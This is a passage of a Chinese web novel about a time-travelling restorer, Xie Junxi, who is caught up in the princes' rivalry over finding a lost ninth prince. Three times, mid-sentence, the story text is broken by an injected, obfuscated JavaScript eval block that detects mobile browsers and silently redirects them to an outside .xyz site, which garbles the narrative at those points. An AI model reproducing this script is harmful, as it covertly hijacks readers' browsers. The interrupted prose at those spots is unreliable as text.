“她。”钰鸿公子,或者说当今三皇子赵泓玉此刻正恬不知耻地指着谢筠熙的方向。 “我?啊?”谢筠熙拿食指指向自己,又不可置信地看向那个满脸写着“奸诈”二字的青年。 “熙老板,他说的是真的吗?” 眼见着老板娘一步步逼近,谢筠熙逃也不是,不逃也不是,她只能在心里对着始作俑者比了个国际友好手势,面上却堆着笑,对老板娘展露出人畜无害的完美笑容:“敢问姐姐这厮吃了多少钱啊?” 那老板娘也不含糊,登时报出个数来:“五百文,一分也不能少。” 抢钱啦!!!谢筠熙在内心呐喊,看向赵泓玉的眼神里面充满愤怒。 “行……等一下我,我去拿钱来。”谢筠熙打开铺子的门,闪身进去。 “等一下!”恬不知耻的人不知何时闪到了谢筠熙铺子前,继续恬不知耻地说道,“我也要进去。” 这一举动无疑让老板娘有些火冒三丈,她将手一横,挡住了赵泓玉的去路:“你不准去,就在这等着。” 赵泓玉只好在众人审视的目光下悻悻转身,静等谢筠熙出来。 好在谢筠熙还算比较仗义,并没有撇下赵泓玉逃之夭夭,只过了一阵,谢筠熙提着钱袋从屋里走出来的那一刻,赵泓玉几乎两眼放光。 “给,姐姐收好,以后别让这家伙去你家店吃饭了。”谢筠熙将钱袋交给老板娘,又加上了这么一句。 “好嘞,熙老板的话我记着了。”老板娘接过钱袋,叉着腰狠狠瞪了赵泓玉一眼便扬长而去。 周围看热闹的人见事情尘埃落定,便叫嚷着逐渐散开。 “你,跟我进来。”谢筠熙见自己店前没了人,一把薅住赵泓玉的衣领,将他拽进了屋里。 “哎哎哎,姑娘家家的,怎可如此粗暴,放本公子下来!” 谢筠熙无视了赵泓玉的嚎叫,“啪”的一声将门闭上。 “殿下,你是怎么找到这来的?”谢筠熙抱着胸站在柜台旁,无语地望向这个行事让人捉摸不透的皇子。 “你怎知……”赵泓玉一惊,随即一副了然的模样,“是时丰告诉你的吧。” “嗯,所以你快回答我的问题。”谢筠熙点点头,依旧不想让赵泓玉转移话题。 “呃……姑娘,这真的是个意外,本王只是恰巧得知今日这家 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谢筠熙猜到接下来要进入正题,房间里安静了一瞬,谢筠熙自觉地关上了房门两侧的窗户。 “姑娘,可有明赫的消息了?”果不其然,赵泓玉收起那副玩笑般的姿态。 “为何不去问李时丰,偏生要来问我?”谢筠熙对此有些不解。 “这不是去找了时丰他也不知道嘛,这不就来问姑娘了。”赵泓玉垂眸,转了转指间的扳指玉。 “那我只能很遗憾地告诉殿下,我也不知道。” “这样吗……好吧,那姑娘可有见过这一带有相似年龄的幼童吗?” 谢筠熙抬头很认真地回忆了一番,又确定地摇了摇头:“没有。” “不应该啊……本王循着线索找到这来的,怎会如此……”赵泓玉喃喃。 “什么线索?”谢筠熙很敏锐地捕捉到了这两个字眼。 “哦,就是,几日前有人告诉本王,九弟就在这一块的巷子里,给了本王这样一份字画。”赵泓玉从怀中掏出一张薄薄的纸,递给谢筠熙。 谢筠熙接过展开一看,正是一副皇城地图,上面附着几个小字:明珠蒙尘,沐柳巷中藏。 后面似乎还有一行字,但因为粘上了污物看得有些不太真切。 谢筠熙熟练地将其铺在桌上展开,打开自己的工具箱,当着赵泓玉的面将上面的污物小心翼翼地去除。 其精湛的手法,看得赵泓玉忍不住叫好:“姑娘这手艺着实有些厉害,若能开班学习,想必于我朝而言有妙用。” “这种事以后再说吧,先把眼前的事做好。”谢筠熙并没有什么特别的情绪,她想得很清楚,若是等到一切都尘埃落定,她一定要将自己的手法流传于世,只是这些全是后话罢了。 赵泓玉认同地点了点头,满眼都是欣赏:“时丰慧眼识珠,能得到姑娘真是他三生有幸。” “这话我真爱听,殿下多说点。”谢筠熙一听这话,登时乐了,对赵泓玉的好感稍微加几分。 “姑娘真是有趣。”赵泓玉忍俊不禁。 18. 线索 后半行的字在谢筠熙手下逐渐显现,赵泓玉忍不住往前凑了凑,想要看得更加清晰一些。 “稍等,让它稍微晾干一些。”谢筠熙将三皇子往后推了推,又把薄纸拿起来轻轻抖了抖。 “胡编乱造之言,不可盲目相信……”谢筠熙缓缓读出上面的内容。 “……” 屋里顿时一阵沉默。 “竟敢坑骗本王!罪不可赦!”良久,赵泓玉捶桌顿首。 “我所在的地方,切实为沐柳巷,殿下是循着这个找到这来的?”谢筠熙将桌上的工具悄悄往远离赵泓玉的方向挪了挪,才开口说话。 “正是啊,姑娘,可本王却没有想到,竟有人敢如此对本王!”赵泓玉说得义愤填膺,好似受了天大的委屈。 难怪最后他没去竞争王储,原来是事出有因吗,是后世想太多了…… “殿下究竟是从人手中得来的这份……线索?”谢筠熙在心里吐槽了一番。 “这个啊……本王也不太认识那人,只是今早本王溜出王府的时候,有人突然塞到本王手中的。” 这也太突然了吧……谢筠熙眨了眨眼。 “殿下难道不觉得这很刻意吗?若是殿下不说实话,我也没办法帮到殿下了。” “好了不逗姑娘了,其实这是本王刻意而为之的。”赵泓玉拿手指点了点图纸。 “殿下为何非得选这个巷子?”谢筠熙对这一点有些不解。 “本王要钓一条鱼出来,沐柳巷是京城里人最多最杂的地方,很适合钓鱼。”赵泓玉神神秘秘地凑近谢筠熙附耳道。 “你把这些图纸已传播到整条巷子里了吗?”谢筠熙一惊,因为她不常在巷子里走动,对此并没有实感。 “姑娘难道没有察觉到,最近这里的眼线变多了吗?”赵泓玉看向门外。 “刚刚聚起来的那帮人吗?殿下你安的什么心,你是要害死我吗?”谢筠熙心底一凉,对赵泓玉怒目而视。 “但本王真的没想到姑娘在这里呀,本王不是说了吗,时丰并未告诉姑娘行踪。”赵泓玉笑得自在。 谢筠熙此刻突然意识到,自己似乎卷入了一件十分凶险的事情,从香楼案开始,或许更早。 赵泓玉的形象顷刻间在谢筠熙心中天翻地覆,皇子在深宫之中明哲保身,又岂非不明事理之人?当今圣上如今尚未立储,太子早逝,皇宫之中必然早已有人觊觎这样的高位,如今活着的皇子之中,赵泓玉可能,只是看似纯良罢了…… “殿下为何非要找到九皇子?” “当然是因为父皇想要找到自己的儿子,本王只是想为父皇分忧罢了。”赵泓玉答得理所当然,谢筠熙从他的脸上甚至看不出一丝破绽。 “殿下此等孝心,小女子敬佩。”谢筠熙收起了方才那副不知轻重的模样,转而开始毕恭毕敬起来。 “姑娘怎的突然变得如此客气,这可就不有趣了。”赵泓玉的笑此刻在谢筠熙的眼中变得有些玩味。 “好吧殿下,既然如此,那小女子也不客气了。”谢筠熙又将语气转变回来。 赵泓玉莞尔,没有说话,只是等待着谢筠熙的下言。 “恕小女子斗胆猜测,殿下是否想利用小女子的能力达成自己的目标?” 谢筠熙深吸一口气,一边说着一边时刻关注着赵泓玉的动态,准备见状不对就跑。 “姑娘果然聪明。”赵泓玉欣慰地笑了。 “那殿下寻找九皇子可是为了储君之位?李时丰与我,只是殿下手中的两颗棋罢了,至于和谁下的棋,您还不能告诉我们?”谢筠熙说着话,眼神却四处飘乎,寻找着逃生的最佳通道。 赵泓玉的笑逐渐变了味,变得危险起来,谢筠熙觉得他此刻的眼神一只紧盯猎物,满心算计的狐狸,随时准备将谢筠熙吃拆入腹。 “啪啪啪”。 赵泓玉收了笑,却鼓起掌来,谢筠熙被他这一举动搞得汗毛倒立,差点夺门而逃。 “姑娘,本王果然没有看错你,确实是个好苗子……” 赵泓玉将铺在桌案上的图纸收起来,叠得方方正正纳入袋中,而后又抬眸注视着谢筠熙的双目,那时谢筠熙分明瞧见,他似乎卸下了那副亲近自然的面孔,将他的本心完完整整露了出来。 “的确,本王的确是想利用你和时丰帮本王做事,赵乾璟他最近的动作实在有些过了,若不给他些下马威,本王怕是难有立足之地了。” 赵乾景?!那不是……后世记载的下一任辰朝皇帝,只是谢筠熙记得,在他之后,辰朝似乎就在往下坡路走了,史载下坡路的原因虽复杂,但无一不指向赵乾景年迈力衰,后期听信近臣之言,立无能之子为储,最终外戚干政,辰朝外强中干成衰落定局。 那三皇子呢?!史载他无心皇位,整日厮混民间,后来二皇子继位,他便被送往远疆成为了无法触碰到权力中心的闲散王爷…… 事实真的如此吗?谢筠熙的心中突然升起了一团散不开的迷雾,三皇子当真完全无意储君之位吗? 现在看来似乎并非如此。谢筠熙看着眼前这只狐狸,陷入了沉思。 “姑娘怎么不说话了?”赵泓玉看谢筠熙忽而皱眉,忽而又挠头,一副苦恼的模样,不由觉得有些好笑。 “殿下,小女子可否再问一个问题?”谢筠熙思考良久,最终决定问出多日来的最大疑惑。 “李时丰与当年的纵火案是否有重大关系?既非大理寺卿亲生儿子,他在那之前又是什么身份?” 赵泓玉思忖了一番,却摇了摇头:“这个本王不能告诉你,时丰既向本王保守了你的秘密,那么本王若是告诉姑娘李时丰的秘密,岂不是不公平了?” 谢筠熙腹诽:真是守原则啊…… “好吧……殿下既不愿说,小女子便不再问了。”谢筠熙只能暂且妥协。 但她很快考虑到了自己的处境:三皇子已经找到了自己的所处之处,只是不知道是否知晓她住在艾诺家的消息,如今这番形势,且不论三皇子是否值得信赖了,已经陷入皇子争储这个危险的风波里,保住小命才是重中之重。 这么一看李时丰的似乎也并没有好到哪里去嘛…… 谢筠熙这样想着,心里突然平衡了一些。 “好了,该说的话本王都已经说完了,给姑娘最后一个忠告,近些日子最好都待在这间铺子里,也不要去大理寺,人多眼杂恐有危难。” 赵泓玉最后留下这样一番话便推门而去:“姑娘的手艺很是精湛,在下十分喜欢,下次有空再来光顾姑娘的店!” 谢筠熙应下,心里却咬牙切齿了一番:这个三皇子,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351637|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在给自己的皇兄示意,把他们的人往我这引啊……我要做的就是承认所谓的九皇子就在这附近是吗……卑鄙,无耻,可恶,比李时丰还要混蛋的混蛋! 送走这尊大佛,谢筠熙的店可算清净了些,她一屁股坐回自己的木椅上,也不干手中的活了,只是怔怔望着天花板,突然有些懊悔自己是否应该参与进来这一漩涡之中。 可若是不走到这其中,谢相的事却可能永无休止之日,只是早晚的事而…… 思绪之间,谢筠熙将自己的毛发揉得乱糟糟的,但最终停下来是时,却又不得不先向自己选的这条路低头。 不管了……走一步算一步吧,总比一直蒙在鼓里好。 下定决心后,谢筠熙收拾起自己烦恼的心思,又一心一意投入到古籍的修复之中。 只是这次绝不可将无辜之人再牵连进来,我得守护好艾诺一家和蕙兰的安危。 谢筠熙一边修补着古籍,一边又暗暗思索着。 另一边李时丰这几日忙着面见皇上,终日不在大理寺之中,此刻却遇上了一个棘手的人物。 这厢李时丰刚从御书房走出来,迎面却与一名身着玄黑锦衣的男子擦肩而过。 “李少卿别来无恙啊~” 那人同李时丰打了个招呼。 “景王殿下,别来无恙。”李时丰停下脚步,恭敬地行了个礼,起身正要离开,却被一把握住了肩膀。 “别急着走啊,李少卿,这几日忙于查案,你我二人可是很久都没有好好喝过酒了,不如今日一同出宫,本王请你如何?”那人不依不饶道。 “不劳殿下费心了,既然殿下都说了下官忙于要事,就请不要殿下再来打扰下官了。”李时丰不卑不亢,将景王的手从肩上拍开。 御书房前的氛围突然肃穆起来,两人无声对峙了一番,最终景王收势,摆了摆手:“少卿大人既如此繁忙,本王便不再强求,恕本王不送了,少卿大人请。” 景王颇有礼节地向李时丰做出“请”的姿态,看向李时丰的目光却丝毫不减阴狠。 “下官告退。”李时丰自然而然回了礼,却无视了他的不怀好意。 随着李时丰走远,景王打开御书房的门,看见了正在批阅奏折的当今圣上,也就是自己的父亲,收起方才锋芒毕露的模样,换上一副温顺祥和的面孔缓缓走去。 “老二,你怎么来了,可有事告予朕呐?”赵砚宸只是轻轻抬了抬眼,见是二皇子,没有停下手中的动作,只是有些疑惑地询问。 “父皇,儿臣今日来,是来告诉父皇一个好消息的。”二皇子向皇帝恭敬行了礼,便含着略带喜悦的语气向皇帝禀告。 “哦?所为何事啊?”赵砚宸放下手中的笔墨,饶有兴致地看向自己的二儿子。 “儿臣似乎,找到了九弟的下落。” 赵砚宸心一沉,竟没有想到是这事,当即龙颜大悦:“如此甚好!如此甚好!可有确切消息?” “儿臣寻到九弟似乎曾在沐柳巷有所踪迹,不日儿臣便会亲自前去探寻一番。”二皇子见父皇喜色,不由感到庆幸。 “好!若能寻到你九弟,朕重重有赏!” 前些日子被香楼案萦绕在心的阴霾在赵砚宸心中被拨散了一些,皇帝欣喜地看向自己的儿子,赞赏之情毫不掩饰。 19. 血亏 如赵泓玉所说,谢筠熙觉得最近店铺旁的人变得有些多起来,这些人似乎都是带着目的来到沐柳巷,谢筠熙时常透过门缝看见他们在互相传递一些不为人知的信息,有些甚至在挨家挨户询问些什么。 来她铺子里走走停停的也有好些心怀鬼胎的人,谢筠熙干脆眼不见为净,整日只是低头干好自己手中的事。 一直到正午红日当头,谢筠熙的肚子饿得有些咕咕叫了,她才从桌案跟前起来,揣着钱袋走到正对们的那家饭馆里头去,同那老板娘打声招呼,便悠然自得地坐下开始择菜,又端着碗筷静等店小二给自己上菜。 盯着沐柳巷这块的人有些可能是收到了前几日衡王私访谢筠熙小店的消息,觉得此人十分可疑,这才也顺带将她一起盯了,只是谢筠熙这副松散的模样,让那些人竟也有些拿不定主意起来。 “诶,你听说了吗,陛下最近正在寻找遗落民间的小皇子啊!” “还有这事?” “是啊,据说前几日二皇子贴出了寻人启事,最近已经在民间大动干戈地找着了……” 一旁食客的讨论声毫不意外地传入了谢筠熙的耳中,也传入了盯梢的那帮人耳里。 谢筠熙竖起耳朵听着,表面上却依旧云淡风轻地吃着菜,实际上手上的木筷已经被她攥得愈来愈紧,她不敢听漏一点消息,也不敢真正放松下来。 赵泓玉这是成功了吗?谢筠熙瞧见这番阵势,脑袋里浮现出赵泓玉临走前那老谋深算的样子。 “掌柜的,你们这里有见过这个人吗?” “小孩子?这看着很面生,没有,没有见过。” 饭馆门口的动静将谢筠熙的目光吸引了过去,那帮盯梢她的人自然也同样在张望。 “打扰了掌柜的。”领头问话的人向掌柜的付了一两银子,便转身到下一家继续询问,全程没有一点拖泥带水。 老板娘瞧见那一两银子,眼里都发着光,对那些人的态度都好了许多:“公子们之后有事还可以来找草民,草民的饭馆欢迎诸位公子,慢走慢走啊!” 谢筠熙正看着,突然发现身边的那帮人在看见问话之人后却变得慌张起来,一阵窸窸窣窣之后,一个接一个退出了饭馆。 这又是发生了什么?这帮人葫芦里卖的什么药呢? 谢筠熙恰好也吃完了午饭,赶忙放下手中的碗筷,将饭钱放到老板娘跟前,也悄悄随着这帮人离开。 “今天这都是什么事啊?”老板娘嘟囔着收下了钱,一边拿着擦布去收拾残渣,一边满心疑惑。 这边谢筠熙本想偷偷跟在那些人身后,但自己的身手显然没有那么灵敏,那帮人怕是个个身怀绝技,谢筠熙为防暴露自己,不得不先走回自己的铺子里。 恰巧关上门窗的那一瞬,谢筠熙听见有两人立在她的窗边,在那互相交谈,字眼里有“衡王”“先行一步”这类的字眼。 怕不是三皇子为了迷惑二皇子使的障眼法,那帮向掌柜问话的人……应当是赵泓玉派的吧…… 谢筠熙起了一身鸡皮疙瘩,对赵泓玉那城府极深的印象又加深了一层。 这边搞这么大动静……也不知道李时丰那边怎么样了。 谢筠熙莫名想到了李时丰:欸,他肯定没事……我想他作甚。 谢筠熙掐断自己脑中纷乱的思绪,将注意力再次放到那两拨人人身上。 这样一来,来盯我的人,应该就是二皇子的人了……昨日赵泓玉说最近巷子里的眼线不少,他又敢明目张胆地指我充当他的朋友,又自己跑到我的店里来,想来应该是想让那些人找到我这来…… 可是我这究竟有什么值得他们来查呢? 谢筠熙依旧没有理解这一点。 正想着,窗口突然被人敲了敲,将谢筠熙吓得一个激灵。 “谁?”谢筠熙小心翼翼扒开一点窗缝。 “殿下给姑娘留的信,记得查看。” 门缝里递进来一张小纸,上面模模糊糊写着几个字。 谢筠熙接过,飞快地打开:“劳烦姑娘散播所寻之人臂弯处有深色胎记的传言。”谢筠熙将纸快速地扫完,便用火柴将它烧成了灰烬。 “不对啊,难道赵泓玉已经找到九皇子了?他怎么可以有十足地理由传播这样的消息……这个二皇子我记得也不是吃素的呀……” 谢筠熙转着脑筋,思考着对策:不管了,先按赵泓玉说的做,看看他究竟要做什么。 有了! 谢筠熙像是下定了某种决心,突然大开自己铺子的大门,冲着来来往往的人群大喊:“本店一折消费,家中有贵重器物损坏者可尽情光顾小店,臂弯处有深色胎记的顾客优先,过时不候!!” 给谢筠熙递纸的人蹲在屋脊后被谢筠熙的迷之操作吓了一跳,几乎要冒出冷汗来。 这一嗓子,不仅叫住了人群中的顾客,更是叫住了二皇子那帮还在四处探寻的人,于是街上顿时人声鼎沸,人们翻开衣袖,寻着自己身上的符合之处。 “熙老板你这是要闭店了吗?”隔壁书肆的老板探出身来,这样问谢筠熙。 谢筠熙摸摸鼻子:“不是不是。” “那便是要搬走了喽?” 谢筠熙依旧摇头:“只是想要回馈广大客户啦,大家别多想。” “行吧,下血本了呀,熙老板。” 书肆老板向谢筠熙挤眉弄眼了一番,又关上了窗户。 此人竟然在沐柳巷有如此广泛的人脉吗?不简单,得将此事禀报殿下。 屋顶的人看向谢筠熙的眼神严肃了起来。 “为什么非得臂弯有深色胎记的人啊熙老板。”又有一人提出异议。 “店家今日找人算了一卦,说是今日若是有臂弯处有深色胎记的人光顾本店,日后本店必然财源广进。”谢筠熙大言不惭地瞎扯。 “熙老板怕是被骗了吧,那种江湖骗子可太多了,熙老板不要上当啊……” “哎呀你们就说你们要不要这个一折?”谢筠熙受不了这帮人的叨叨,直截了当地伸出一根手指晃了晃。 “要要要,有便宜自然是要占的。” 门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356078|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外聚集的人越来越多,谢筠熙干脆找来一块木板,大笔一挥在上面写下了方才说的话,又将木板摆在打开的窗台边上。 这也太乱来了吧……屋顶上的人汗颜。 二皇子的那帮人方才虽然没有发话,但一直默默关注着这里的动态,见谢筠熙如此行事,也都是一惊,他们干脆也不装了,聚在一起商量接下来要做的事。 于是符合条件的人排在谢筠熙店门口,招呼着自己的家里人带来要修的东西,面带天降馅饼的喜悦开始排起队来。 谢筠熙粗粗瞟了几眼,拿来的东西都是好修复的,于是让进来的人按顺序依次摆放到指定的位置,又面带笑容将他们送走。 可这帮人还没有走干净,有几个带着孩子来占便宜的居民前脚刚迈出店门,往自己家还没走上几步就被二皇子那帮人截了下来,通通打晕带走。 我靠这也太简单粗暴了吧,二皇子的人怎能如此……赵泓玉我承认我话说早了,见到了比你还要不要脸的人。 谢筠熙一边张望着门外的动静,一边又开始在心里开启了吐槽模式。 只是这些人……二皇子不会对他们做什么残忍的事吧…… 谢筠熙一面又担忧起来。 赵泓玉这一步是否走得过于极端了呢? 不知是不是在回应谢筠熙的忧虑,下一秒方才三皇子的那一队人又默默跟上了二皇子那帮人的踪迹,两帮人就这样逐渐消失在了弯弯绕绕的巷子之中。 你们两人搁这玩他逃他追他插翅难飞呢? 谢筠熙送走最后一位客人后,顺便伸手在门口观望了一阵,简直叹为观止。 关上门,谢筠熙把木板撤去,望着堆满屋子的损坏物……一屁股坐到地板上。 算了……这几天通宵赶工吧,事成之后赵泓玉要是不给点报酬我要找李时丰跟他一块去闹了…… 另一边,衡王府中,正安静赏花的赵泓玉感受到身后下属的到来,淡然地背手转身。 正是趴在屋顶上的那位,他恭敬地向赵泓玉行了礼,便将今日发生的事情一五一十告诉了赵泓玉。 听罢,赵泓玉笑得几乎要飞出泪来,他抚掌大笑:“哈哈哈哈哈,怎会有如此有趣的人,本王也是头一回见,你继续盯着,二哥那边的动静不要落下。” 下属接过命令,又悄无声息地离开了王府。 这我行我素的作风,倒是着实出乎意料……谢,今,安。 赵泓玉望向空中逐渐下沉的那轮春日,心中不知又在思考些什么。 李时丰这边接到消息,自然也没有错过谢筠熙做出的好事,这边陆贰和徐柒正在憋笑,李时丰的面容却严肃异常。 “老大,谢小姐她这行事怎的跟你当年如此相像呢哈哈哈哈哈哈哈。” 最终陆贰实在是忍不住,大笑出声。 “舌头不要了可以割掉。”李时丰给了陆贰一记眼刀,让他立刻闭上了那嘴。 李时丰眯眼思忖着:谢今安,既然已经被卷进来,本官也无法了,三皇子可不是善茬……你好自为之吧。 20. 秘辛 赵泓玉再次找上谢筠熙的时候,谢筠熙正好整以暇地把玩着手里完好无损的珠玉,翘着二郎腿横坐在店里的长椅上,没有一点曾经大家闺秀的矜持。 “熙老板?”赵泓玉学着街坊邻里的叫法,冲坐没坐相的谢筠熙打了声招呼。 谢筠熙瞬间出了一身冷汗。 听不见听不见听不见,看不见看不见看不见…… 她表面冷静,内心惊涛拍岸。 “听说前日二哥的人来这里的时候,熙老板将他们耍的团团转啊……”赵泓玉也不管谢筠熙是不是在装傻,直截了当地将谢筠熙干的事戳得一干二净, 装不下去了……谢筠熙绝望地睁开双眼,从椅子上站起身来,尴尬地拍了拍下摆。 “稀客啊……殿下亲自光顾本店,小女子哪有不接待的道理,殿下看看要不要小女子给您泡点茶啊,咱们坐下好说话。” “这就不必了,熙老板,本王站着便好,不必劳烦老板。” 赵泓玉和善地笑着,婉拒了谢筠熙。 躲得过初一躲不过十五,来吧来吧,让暴风雨来德更猛烈些吧。 谢筠熙干脆豁出去了:“那个……殿下,小女子昨日所举,实在是无可奈何之计,不是有意把您和二皇子一块戏耍的……” “哦?可是本王觉得,熙老板所为,还挺符合本王心意呀。”赵泓玉那双细长的狐狸眼一转,存心逗一逗谢筠熙,“本王认为,熙老板此举既帮本王找出了二哥那帮人,又将沐柳巷的人都聚过来,使得本王的人有了寻找二哥破绽的时机,简直聪慧至极啊……” “殿下您就别逗我笑了……”谢筠熙打定三皇子没安好心,将头扭过去躲避赵泓玉的视线。 “熙老板可有心仪之人啊?” 赵泓玉这没头没脑的一句话让谢筠熙的心跳漏了半拍:这话题怎么跟过山车似的……这个三皇子的脑回路真是诡异得不行。 她只能回答:“尚无啊殿下,您问我这个作甚?” “本王现在也尚无王妃啊,熙老板与我见过的女子都不同,他们对本王要么太过恭敬,要么太过畏惧……本王与他们连正常的闲话都说不得,可熙老板你不一样……” “打住!!!”谢筠熙只想死死摁住赵泓玉这张语不惊人死不休的嘴,“殿下!使不得啊万万使不得啊!!其实小女子是骗您的,小女子早有心仪之人了!!” 赵泓玉眼见着谢筠熙那逐渐变得苍白的小脸,饶有兴致地止住了话头,转而询问:“是谁?” 谢筠熙内心现在万分纠结:我怎么就这么说出去了!救命啊,死嘴!我现在要怎么说啊!赵泓玉干嘛对我的感情生活如此感兴趣!他绝对不是看上我了他就是想玩我!靠!说谁啊……说谁!李时丰?不行啊不行啊,这俩人是好基友他绝对会告诉李时丰的!陆贰……徐柒?不行一个道理,那就……花昀吧花昀吧……我穿过来总共就认识了这几个男人…… “不瞒殿下,正是大理寺的……花昀。” 花昀对不起对不起对不起……小小地出卖一下你…… 赵泓玉对谢筠熙这个回答有些出乎意料:“竟然是……他吗?” 他竟然还认真思考了一番:“如此一想,花兄的确玉树临风,俊秀异常……嗯……倒也合理。” “好了殿下,您今日过来,不会就想打探我的私生活吧?”谢筠熙轻咳几声,企图把歪到十万八千里的话题给扯回来。 “哎呀,熙老板,你真是机灵得不行,本王喜欢。”赵泓玉终于停止了插科打诨。 “其实啊,昨日二哥带回去的那一批人里,有本王安插的眼线,本王将消息传出去,就是希望二哥可以把假皇子带回宫去,而真正的九皇子究竟在何处,本王早已有所头绪。” 赵泓玉终于舍得坐下来,从怀中掏出一把扇子,卖弄风流般在那轻轻扇动:“熙老板你不是说有好茶吗?劳烦了。” 谢筠熙气急,在心中早已将这个事多的三皇子骂得狗血淋头,面上却还要摆出一副和善的笑脸:“这就去这就去!” 泡茶的时候,赵泓玉瞧了几眼,谢筠熙的手法似乎并非毫无章法,反而显得有些老练,泡的茶叶,竟也是上好的品相。 这个女人比想象中还要不简单。 的? “好茶啊熙老板。”赵泓玉细品了一口。 “九皇子是哪位妃嫔的孩子?或是说……陛下很喜欢他吗?”谢筠熙也坐下,锤了锤一动不动有些酸痛的大腿,拿起茶壶替自己也倒上了一杯。 “九弟是父皇曾经最宠爱的柳贵妃所生,贵妃难产而死,父皇本以为贵妃的孩子也没能保下来,谁能想到前一年的时候当初给贵妃接生的稳婆之女却突然进宫告知,贵妃之子实际上是被有心之人带出了宫,父皇震怒,本想彻查九弟行踪,谁知第二天那稳婆的女儿却突然被发现死在了家中,一时之间没有人再能找到线索。” “那殿下的线索又是从何得知的?”谢筠熙在此之前从未听过这样的传闻,三皇子所说的,应当是皇室秘辛,如今入了自己的耳朵,谢筠熙知道自己已然无法抽身,只能深陷其中。 “这就不是你能探究的了,熙老板。”赵泓玉抬眸轻瞥了谢筠熙一眼,便不再续后语。 “也是,是小女子唐突了。”谢筠熙心里一惊,不敢再问。 茶盏上方雾气氤氲,店里静悄悄的,两人俱是无言品茶。 “九皇子如今在殿下那吗?”谢筠熙主动打破沉默。 “在……也不在。” 谢筠熙点点头,没有对此发出疑问。 又是一阵沉默。 赵泓玉放下茶杯:“熙老板近来没有去大理寺吧。” “没有。”谢筠熙摇头。 “不如今日去走一趟?”赵泓玉说出这话时语气同邀请谢筠熙出门逛街一般随意。 “嗯?去作甚?”谢筠熙疑惑皱眉。 “咱们的少卿大人最近回来了……”赵泓玉企图示意些什么。 “嗯……所以呢?”谢筠熙表示不解。 “你,不打算回大理寺跟他见一面?”赵泓玉依旧执着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371511|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……有什么必要吗?他最近又没有什么事要同我讲。”谢筠熙歪头。 赵泓玉看上去有些费解:“你们……好吧,那熙老板就待在这吧,本王先走一步了。” “王爷慢走,恕小女子不送了。” 谢筠熙做出请的手势。 赵泓玉的表情有些奇怪,但谢筠熙没有细想,只是看着他走出了店门,又安心将门闭上,在门闩处挂上了歇业的牌子。 “啪” 赵泓玉看着关上的门一阵无言。 李时丰见到赵泓玉的时候,先是被他狠狠转过身观察了一番,又被莫名其妙注视了一阵,直到鸡皮疙瘩快要起来的前一瞬,赵泓玉才松开他。 紧接着就听见一句:“谢今安没说要来找你。” “什么?她为什么要来找下官?”李时丰不解。 “本王以为,找遗子这事,她会和你一起的。” “为何?如今殿下让二皇子都找到她那了,她若还与本官私交,岂不是置自己于死地吗?” 李时丰不明白赵泓玉为什么会问这么愚蠢的问题,但每到这个时候,他一般没什么好事情要说,于是从他身边默默后退了几步:“你是不是让谢今安店铺的门给夹了脑袋啊殿下。” “就只有你敢这么跟我说话了,时丰。”赵泓玉朝李时丰狡黠一笑,“本王觉得,你和谢今安,很配。” 李时丰内心的某处突然被触动,但他依旧对赵泓玉的这句话表现出淡然:“殿下,你又犯病了。” “今天我问谢今安她有无中意之人,她说她喜欢……你们这的那位……花昀?” “什么?”李时丰震悚,这下鸡皮疙瘩是真起来了,随之而来的还有几分不爽。 在不爽什么? 他也不知道。 赵泓玉满意地看着他的反应,他绕着李时丰转了一圈,然后一揽他的肩,将李时丰直揽得往前压了压,这才开口:“哎呀,没想到啊没想到,我们的少卿大人这脸这身形竟然还有没法吸引到的姑娘,少见吼~” “殿下,你要是实在没有话可以说可以现在就回王府。”李时丰毫不客气地拍开赵泓玉的手。 “好了好了,说正事。”赵泓玉使劲揉了揉被拍疼的手。 “确定本王的九弟在城西了吗?” “嗯,没有错,只是这里还有一事需要确定。” 李时丰转身回到正厅的那张桌案边,从上面拿起一枚有些残破的柳叶状玉佩。 “这是……柳妃的遗物?”赵泓玉立刻上前,“从何处得来的?” “城西处找来的,在一处泥地里。”李时丰同赵泓玉一同凝视这块玉佩。 “继续查,这么多年了这东西不会无缘无故出现。” 赵泓玉眉头一拧,当场下令。 “景王那边,想必很快他们就能发现异常,得做点行动才行。”李时丰有些担忧。 “无碍,只要我们的人先比他到一步就行。”赵泓玉眯了眯眼。 “是。”李时丰应下。 21. 旧宫人 谢筠熙待在铺子里的这些日子虽然诸事纷扰,工作量剧增,但她依旧没有忘记自己的主要任务,于是这几日几乎每日都要通宵修补损坏之物,争取把街坊邻里的单子全做了,好早日偷溜出去继续打听有关谢相的事。 继三皇子和二皇子的轮番骚扰后,谢筠熙每日歇业时都要仔仔细细将自己铺子关好,这日她正带着自己的修复工具锁门,转身离开时,却撞上了一个有些熟悉的面孔。 